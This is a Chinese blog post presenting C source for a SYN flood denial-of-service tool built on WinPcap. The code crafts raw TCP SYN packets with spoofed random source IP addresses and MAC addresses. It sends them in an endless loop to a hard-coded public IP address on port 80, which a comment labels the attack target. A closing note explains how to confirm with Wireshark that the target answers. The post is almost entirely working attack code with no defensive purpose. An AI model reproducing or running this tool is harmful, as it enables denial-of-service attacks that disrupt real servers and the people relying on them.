DOS攻击之SYN攻击法

淡淡的烟草味﹌ 2022-08-10 08:44 47阅读 0赞

\#define \_W64  
\#define HAVE\_REMOTE  
\#include<stdio.h>  
\#include<pcap.h>  
\#include<winsock2.h>  
\#include <time.h>  
\#include "remote-ext.h"  
  
  
\#pragma comment(lib,"wpcap.lib")  
\#pragma comment(lib,"WS2\_32.lib")  
  
  
  
  
\#pragma pack(push,1)  
typedef struct \_TCP\_SYN  
\{  
unsigned char DstMAC\[6\]; // 目的mac地址  
unsigned char SrcMAC\[6\]; // 源mac地址  
unsigned char OtherData\[12\];  
unsigned short Header\_ChechSum; // 校验和  
unsigned int SrcIP; // Source IP address  
unsigned int DstIP; // Destination IP address  
unsigned short SrcPort; // Source IP Port  
unsigned short DstPort; // Destination IP Port,一般为80端口，值为0x5000  
unsigned char Ohters\[16\];  
unsigned short pak\_checksum;  
unsigned char OtherLast\[1\];  
\}TCP\_SYN, \*PTCP\_SYN;  
\#pragma pack(pop)  
  
  
  
  
unsigned char bufData\[\]="\\x00\\x25\\x86\\x27\\xd1\\x22\\x90\\x2b\\x34\\x60\\xbd\\x44\\x08\\x00\\x45\\x00"  
"\\x00\\x34\\x61\\xdc\\x40\\x00\\x80\\x06\\x71\\x83\\xc0\\xa8\\x01\\x6a\\x7a\\xe4"  
"\\xea\\x6d\\x0b\\x0c\\x00\\x50\\xb9\\xc2\\xf5\\x06\\x00\\x00\\x00\\x00\\x80\\x02"  
"\\xff\\xff\\x8d\\x8d\\x00\\x00\\x02\\x04\\x05\\xb4\\x01\\x03\\x03\\x01\\x01\\x01"  
"\\x04\\x02";  
  
  
  
  
// clac the header's check sum  
unsigned short checksum(unsigned short \*buffer, int size)  
\{  
unsigned long cksum=0;  
while(size > 1)  
\{  
cksum += \*buffer++;  
size -= sizeof(unsigned short);  
\}  
if(size)  
\{  
cksum += \*(unsigned char\*)buffer;  
\}  
cksum = (cksum>>16) + (cksum & 0xffff);  
cksum += (cksum>>16);  
return (unsigned short)(~cksum);  
\}  
  
  
  
  
int main(int argc, char\* argv\[\])  
\{  
pcap\_if\_t \*alldevs;  
pcap\_if\_t \*seldev;  
pcap\_t \*fp;  
char errbuf\[PCAP\_ERRBUF\_SIZE\];  
srand(time(0));  
  
/\* 获取本机设备列表 \*/  
if (pcap\_findalldevs(&alldevs, errbuf) == -1)  
\{  
fprintf(stderr,"Error in pcap\_findalldevs: %s\\n", errbuf);  
exit(1);  
\}  
  
  
// 找到一个有ip的就当有连网的网卡了  
for (seldev = alldevs; seldev != NULL; seldev = seldev->next)  
\{  
pcap\_addr\* pcapaddr = NULL;  
for (pcapaddr= seldev->addresses; pcapaddr != NULL; pcapaddr = pcapaddr->next)  
\{  
if (pcapaddr->addr->sa\_data\[2\] != '\\0' && pcapaddr->addr->sa\_data\[3\] != '\\0')  
\{  
break;  
\}  
\}  
if (pcapaddr != NULL)  
\{  
break;  
\}  
\}  
if (seldev == NULL)  
\{  
fprintf(stderr, "Can not find network!\\n");  
exit(1);  
\}  
  
  
/\* 打开这个输出设备 \*/  
if ( (fp= pcap\_open(seldev->name, // 设备名  
100, // 要捕获的部分 (只捕获前100个字节)  
PCAP\_OPENFLAG\_PROMISCUOUS, // 混杂模式  
1000, // 读超时时间  
NULL, // 远程机器验证  
errbuf // 错误缓冲  
) ) == NULL)  
\{  
fprintf(stderr,"\\nUnable to open the adapter. %s is not supported by WinPcap\\n", alldevs->name);  
return -1;  
\}  
  
  
// 修改源MAC、IP地址 , 并修改首部校验和  
PTCP\_SYN SynData = (PTCP\_SYN)bufData;  
while(1)  
\{  
memcpy(SynData->SrcMAC, "\\x01\\x01\\x01\\x01\\x01\\x01", 6); // 源MAC地址 01:01:01:01:01:01  
SynData->DstIP = inet\_addr("123.125.114.144"); // 攻击的目标  
SynData->DstPort = htons(80); // 目标端口80  
SynData->SrcIP = (unsigned int)rand(); // 源IP地址随机产生  
SynData->SrcPort = (unsigned short)rand()%100+1024; // 源端口随机产生  
  
  
SynData->Header\_ChechSum = 0;  
SynData->Header\_ChechSum = checksum((unsigned short\*)&bufData\[14\], 20); // 计算checksum  
// printf("%d\\n", SynData->Header\_ChechSum);  
  
  
/\* 发送数据包 \*/  
// (wireshark 黑底红字为 校验和错误 的包).  
if (pcap\_sendpacket(fp, bufData, sizeof(bufData)-1 ) != 0)  
\{  
fprintf(stderr,"\\nError sending the packet: \\n", pcap\_geterr(fp));  
return -1;  
\}  
\}  
  
  
/\* 释放设备列表 \*/  
pcap\_freealldevs(alldevs);  
return 0;

可以把源IP改成自己的，然后用wireshark软件截包，再发送一个包出去，会发现对方回应了这个包（具体为可以收到\[SYN,ACK\]包），如果一直在while循环发送数据，那么wireshark就忙于显示发送出去的包，对于接收包很难看到，所以把while(1)注释掉，一个包一个包发验证情况